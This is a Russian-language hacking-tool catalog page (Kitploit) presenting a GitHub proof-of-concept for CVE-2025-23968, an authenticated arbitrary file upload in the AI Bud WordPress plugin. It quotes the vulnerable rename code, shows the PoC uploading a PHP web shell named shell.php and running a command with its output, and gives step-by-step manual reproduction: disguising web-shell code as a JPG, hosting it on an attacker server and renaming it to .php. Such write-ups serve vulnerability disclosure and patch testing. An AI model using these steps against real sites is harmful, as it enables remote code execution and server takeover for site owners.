Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-23968 — Произвольная загрузка файлов в AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4 | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-23968
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubd0n601/cve-2025-23968

CVE-2025-23968

Произвольная загрузка файлов в AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4

Репозиторий
1110 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

AI Bud – Генератор контента с ИИ, Чат-бот с ИИ, ChatGPT, Gemini, GPT-4o

Плагин AI Bud предоставляет конечную точку REST API /wp-json/ai-buddy/v1/wp/attachments, которая позволяет загружать файлы в медиатеку WordPress. Логика работы с файлами в этой конечной точке содержит функциональность переименования файлов, которая срабатывает после проверки типа файла и позволяет атакующему переименовать загруженный файл в любое расширение (включая .php), что позволяет администраторам и выше загружать произвольные файлы и потенциально получить выполнение кода на сервере.

Краткое описание эксплуатации

Предоставлен POC cve-2025-23968.py для демонстрации загрузки веб-шелла с именем shell.php администратором.

root@kitploit:~
python cve-2025-23968.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr

<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
    inet 127.0.0.1 / 8 scope host lo
        valid_lft forever preferred_lft forever
    inet 6 :: 1 / 128 scope host
        valid_lft forever preferred_lft forever
2 : eth0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 5b : 34 : 2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
    inet 10.0.2.15 / 24 metric 100 brd 10.0.2.255 scope global dynamic eth0
        valid_lft 75700 sec preferred_lft 75700 sec
    inet 6 fd17 : 625c : f037 : 2 : a00 : 27ff : fe5b : 342f / 64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86174 sec preferred_lft 14174 sec
    inet 6 fe80 :: a00 : 27ff : fe5b : 342f / 64 scope link
        valid_lft forever preferred_lft forever
3 : eth1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 39 : ea : eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
    inet 192.168.56.56 / 24 brd 192.168.56.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet 6 fe80 :: a00 : 27ff : fe39 : eaeb / 64 scope link
        valid_lft forever preferred_lft forever
4 : docker0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02 : 42 : 6f : 4c : 3e : ed brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1 / 16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
</pre>

Подробности

Плагин регистрирует свои маршруты REST API в /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php

Строки 250-284 регистрируют маршрут REST для конечной точки /wp/attachments. Функция обратного вызова определена как create_attachment:

root@kitploit:~
register_rest_route(
    $namespace,
    '/wp/attachments',
    array(
        'methods' => 'POST',
        'permission_callback' => array( AuthGate::class, 'authorized'
    ),
        'callback' => array( $this, 'create_attachment' ),
    'args' => array(
    'title' => array(
    'required' => true,
    'type' => 'string',
    ),
    'caption' => array(
    'required' => true,
    'type' => 'string',
    ),
    'alt' => array(
    'required' => true,
    'type' => 'string',
    ),
    'description' => array(
    'required' => true,
    'type' => 'string',
    ),
    'url' => array(
    'required' => true,
    'type' => 'string',
    ),
    'filename' => array(
    'required' => false,
    'type' => 'string',
    ),
),

Функция create_attachment определена в строке 709, а логика переименования начинается в строке 744. Как показано во фрагменте ниже, если указан параметр $filename, его можно использовать для переименования существующего вложения (без очистки):

root@kitploit:~
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
    $file = get_attached_file( $attachment_id, true );
    $dir = dirname( $file );
    $new_file = $dir. '/'. $filename;
    if ( file_exists( $new_file ) ) {
        $new_file = $dir. '/'. uniqid(). '-'. $filename;
    }
    $this->move_file( $file, $new_file );
    update_attached_file( $attachment_id, $new_file );
}

Воспроизведение вручную

Атака переименованием в .php

  1. Атакующий подготавливает файл с именем shell.jpg со следующими характеристиками (см. пример).
    1. Файл содержит магические байты для jpg FF D8 FF E0.
    2. Файл имеет расширение .jpg.
    3. Файл содержит php-код веб-шелла.
  2. Атакующий размещает shell.jpg на сервере, которым он управляет (например, Github).
  3. Атакующий отправляет POST-запрос к /wp-json/ai-buddy/v1/wp/attachments с:
    1. url: URL на shell.jpg
    2. filename: shell.php
  4. Атакующий переходит по адресу /wp-content/uploads/YEAR/MONTH/shell.php и выполняет произвольный PHP-код.
Скачать инструмент